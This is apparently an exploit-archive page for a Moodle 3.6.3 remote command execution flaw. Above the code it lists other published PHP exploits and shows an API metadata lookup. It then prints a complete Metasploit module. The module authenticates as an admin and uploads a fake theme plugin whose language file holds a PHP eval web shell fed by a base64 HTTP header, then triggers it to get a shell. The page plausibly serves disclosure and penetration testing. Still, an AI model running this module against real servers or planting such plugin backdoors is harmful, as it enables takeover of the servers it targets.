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"Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit)"

Author

AkkuS

Platform

php

Release date

2019-04-30

Release Date Title Type Platform Author
2019-05-24 "Opencart 3.0.3.2 - 'extension/feed/google_base' Denial of Service PoC" webapps php "Todor Donev"
2019-05-23 "Nagios XI 5.6.1 - SQL injection" webapps php JameelNabbo
2019-05-22 "Horde Webmail 5.2.22 - Multiple Vulnerabilities" webapps php InfinitumIT
2019-05-21 "WordPress Plugin WPGraphQL 0.2.3 - Multiple Vulnerabilities" webapps php "Simone Quatrini"
2019-05-21 "Moodle Jmol Filter 6.1 - Directory Traversal / Cross-Site Scripting" webapps php "Dionach Ltd"
2019-05-23 "Shopware - createInstanceFromNamedArguments PHP Object Instantiation Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-20 "eLabFTW 1.8.5 - Arbitrary File Upload / Remote Code Execution" webapps php liquidsky
2019-05-20 "GetSimpleCMS - Unauthenticated Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-17 "Interspire Email Marketer 6.20 - 'surveys_submit.php' Remote Code Execution" webapps php "numan türle"
2019-05-16 "DeepSound 1.0.4 - SQL Injection" webapps php "Mehmet EMIROGLU"
2019-05-15 "Legrand BTicino Driver Manager F454 1.0.51 - Cross-Site Request Forgery / Cross-Site Scripting" webapps php LiquidWorm
2019-05-15 "CommSy 8.6.5 - SQL injection" webapps php "Jens Regel_ Schneider_ Wulf"
2019-05-14 "PasteShr 1.6 - Multiple SQL Injection" webapps php "Mehmet EMIROGLU"
2019-05-14 "Schneider Electric U.Motion Builder 1.3.4 - 'track_import_export.php object_id' Unauthenticated Command Injection" webapps php "Julien Ahrens"
2019-05-14 "Sales ERP 8.1 - Multiple SQL Injection" webapps php "Mehmet EMIROGLU"
2019-05-14 "PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)" remote php AkkuS
2019-05-13 "OpenProject 5.0.0 - 8.3.1 - SQL Injection" webapps php "SEC Consult"
2019-05-13 "XOOPS 2.5.9 - SQL Injection" webapps php "felipe andrian"
2019-05-13 "SOCA Access Control System 180612 - Cross-Site Request Forgery (Add Admin)" webapps php LiquidWorm
2019-05-13 "SOCA Access Control System 180612 - SQL Injection" webapps php LiquidWorm
2019-05-13 "SOCA Access Control System 180612 - Information Disclosure" webapps php LiquidWorm
2019-05-09 "Zoho ManageEngine ADSelfService Plus 5.7 < 5702 build - Cross-Site Scripting" webapps php "Ibrahim Raafat"
2019-05-06 "PHPads 2.0 - 'click.php3?bannerID' SQL Injection" webapps php "felipe andrian"
2019-05-03 "Wordpress Plugin Social Warfare < 3.5.3 - Remote Code Execution" webapps php hash3liZer
2019-05-03 "Instagram Auto Follow - Authentication Bypass" webapps php Veyselxan
2019-04-30 "Agent Tesla Botnet - Information Disclosure" webapps php n4pst3r
2019-04-30 "Hyvikk Fleet Manager - Shell Upload" webapps php saxgy1331
2019-04-30 "Joomla! Component JiFile 2.3.1 - Arbitrary File Download" webapps php "Mr Winst0n"
2019-04-30 "HumHub 1.3.12 - Cross-Site Scripting" webapps php "Kağan EĞLENCE"
2019-04-30 "Joomla! Component ARI Quiz 3.7.4 - SQL Injection" webapps php "Mr Winst0n"
Release Date Title Type Platform Author
2019-05-14 "PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-30 "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit)" remote php AkkuS
2019-04-25 "osTicket 1.11 - Cross-Site Scripting / Local File Inclusion" webapps php AkkuS
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-18 "ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution (Metasploit)" remote windows AkkuS
2019-04-15 "CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-12 "ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)" webapps php AkkuS
2019-04-03 "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)" remote php AkkuS
2019-03-11 "OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)" webapps jsp AkkuS
2019-03-11 "Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)" webapps multiple AkkuS
2019-03-07 "QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)" remote hardware AkkuS
2019-03-04 "Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Feng Office 3.7.0.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Usermin 1.750 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-12 "Jenkins 2.150.2 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-01-24 "SirsiDynix e-Library 3.5.x - Cross-Site Scripting" webapps cgi AkkuS
2019-01-18 "Webmin 1.900 - Remote Command Execution (Metasploit)" remote cgi AkkuS
2019-01-10 "eBrigade ERP 4.5 - Arbitrary File Download" webapps php AkkuS
2019-01-02 "Vtiger CRM 7.1.0 - Remote Code Execution" webapps php AkkuS
2018-12-19 "Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit)" webapps php AkkuS
2018-12-09 "i-doit CMDB 1.11.2 - Remote Code Execution" webapps php AkkuS
2018-12-04 "Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting" webapps php AkkuS
2018-12-03 "Fleetco Fleet Maintenance Management 1.2 - Remote Code Execution" webapps php AkkuS
2018-11-21 "WebOfisi E-Ticaret V4 - 'urun' SQL Injection" webapps php AkkuS
2018-11-06 "OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection" webapps php AkkuS
2018-11-05 "PHP Proxy 3.0.3 - Local File Inclusion" webapps php AkkuS
2018-11-02 "qdPM 9.1 - 'filter_by' SQL Injection" webapps php AkkuS
2018-09-25 "Joomla! Component Responsive Portfolio 1.6.1 - 'filter_order_Dir' SQL Injection" webapps php AkkuS
2018-09-25 "Joomla Component eXtroForms 2.1.5 - 'filter_type_id' SQL Injection" webapps php AkkuS
2018-09-04 "PHP File Browser Script 1 - Directory Traversal" webapps php AkkuS
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46775/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46775/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46775/41205/moodle-363-install-plugin-remote-command-execution-metasploit/download/", "exploit_id": "46775", "exploit_description": "\"Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit)\"", "exploit_date": "2019-04-30", "exploit_author": "AkkuS", "exploit_type": "remote", "exploit_platform": "php", "exploit_port": null}
                                            

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name' => "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution",
      'Description' => %q(
        This module exploits a command execution vulnerability in Moodle 3.6.3.
        An attacker can upload malicious file using the plugin installation area.
        Plugins must be hosted accommodate "version.php" and "theme_{plugin name}.php" files.
        After routine check, the moodle will accept the appropriate plugin file.
        Plugin control can be bypassed and malicious code can be placed in the files contained in the plugin.
        The module receives a shell session from the server by placing malicious code in the language file.

        You must have an admin account to exploit this vulnerability.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References' =>
        [
          ['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
          ['URL', 'https://moodle.org']
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "Apr 28 2019",
      'DefaultTarget' => 0))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, "Base Moodle directory path", '/']),
        OptString.new('USERNAME', [true, "Admin username to authenticate with", 'admin']),
        OptString.new('PASSWORD', [false, "Admin password to authenticate with", 'admin'])
      ]
    )
  end

  def create_plugin_file
    # There are syntax errors in creating zip file. So the payload was sent as base64.
    plugin_file      = Rex::Zip::Archive.new
    @header       = Rex::Text.rand_text_alpha_upper(4)
    @plugin_name  = Rex::Text.rand_text_alpha_lower(7)

    path = "#{@plugin_name}/version.php"
    path2 = "#{@plugin_name}/lang/en/theme_#{@plugin_name}.php"
    # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
    plugin_file.add_file(path, "<?php $plugin->version = 2018121704; $plugin->component = 'theme_#{@plugin_name}';")
    plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    plugin_file.pack

  end

  def exec_code(cookie)
    handler
    # Base64 was encoded in "PHP". This process was sent as "HTTP headers".
    send_request_cgi({
      'method' => 'GET',
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, "theme", @plugin_name, "lang", "en", "theme_#{@plugin_name}.php"),
      'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
    })

  end

  def upload(cookie)
    # The beginning of the adventure o_O
    print_status("Plugin zip file is being created and loaded...")
    res = send_request_cgi(
      'method' => 'GET',
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php')
    )

    @sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info
    @itemid = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload
    @author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info
    @clientid = res.body.split('client_id":"')[1].split('"')[0] # fetch client info
    
    # creating multipart data for the upload plugin file
    pdata = Rex::MIME::Message.new
    pdata.add_part(create_plugin_file, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{@plugin_name}.zip\"")
    pdata.add_part('', nil, nil, 'form-data; name="title"')
    pdata.add_part(@author, nil, nil, 'form-data; name="author"')
    pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"')
    pdata.add_part(@itemid, nil, nil, 'form-data; name="itemid"')
    pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"')
    pdata.add_part('4', nil, nil, 'form-data; name="repo_id"')
    pdata.add_part('', nil, nil, 'form-data; name="p"')
    pdata.add_part('', nil, nil, 'form-data; name="page"')
    pdata.add_part('filepicker', nil, nil, 'form-data; name="env"')
    pdata.add_part(@sesskey, nil, nil, 'form-data; name="sesskey"')
    pdata.add_part(@clientid, nil, nil, 'form-data; name="client_id"')
    pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"')
    pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"')
    pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"')
    pdata.add_part('/', nil, nil, 'form-data; name="savepath"')
    data = pdata.to_s
 
    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php?action=upload')     
    })

    if res.body =~ /draftfile.php/
      print_good("Plugin #{@plugin_name}.zip file successfully uploaded to target!")
      print_status("Attempting to integrate the plugin...")
      @zipfile = res.body.split('draft\/')[1].split('\/')[0]
      plugin_integration(cookie)
    else
      fail_with(Failure::NoAccess, "Something went wrong!")
    end
  end

  def plugin_integration(cookie)

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
      'cookie'   => cookie,
      'vars_post' => {
        'sesskey' => @sesskey,
        '_qf__tool_installaddon_installfromzip_form' => '1',
        'mform_showmore_id_general' => '0',
        'mform_isexpanded_id_general' => '1',
        'zipfile' => @zipfile,
        'plugintype' => 'theme',
        'rootdir' => '',
        'submitbutton' => 'Install+plugin+from+the+ZIP+file'
      }
    )

    if res.body =~ /installzipstorage/
      print_good("Plugin successfully integrated!")
      storage = res.body.split('installzipstorage=')[1].split('&')[0]

      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
        'cookie'   => cookie,
        'vars_post' => {
          'installzipcomponent' => "theme_#{@plugin_name}",
          'installzipstorage' => storage,
          'installzipconfirm' => '1',
          'sesskey' => @sesskey
        }
      )
      exec_code(cookie)

    else
      fail_with(Failure::NoAccess, "Something went wrong!")
    end
  end
 
  def login(uname, pass)
    # 1st request to get MoodleSession and LoginToken
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login', 'index.php')
    )
    cookie = res.get_cookies
    token = res.body.split('logintoken" value="')[1].split('"')[0]

    # 2nd request to login validation
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),
      'cookie'   => cookie,
      'vars_post' => {
        'anchor' => '',
        'logintoken' => token,
        'username' => uname,
        'password' => pass
      }
    )

    cookie = res.get_cookies
    location = res.redirection.to_s
    if res and res.code = 303 && location.include?('testsession')
      return cookie     
    end 

    fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}")
    return nil
  end

  def check 
    # Basic check 
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'lib', 'upgrade.txt')
    )

    if res && res.code == 200 && res.body =~ /=== 3.7/
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Appears
    end 
  end
 
  def exploit
    cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
    print_good("Authentication was successful with user: #{datastore['USERNAME']}")
    upload(cookie) # start the adventure
  end
##
# The end of the adventure (o_O) // AkkuS
##
end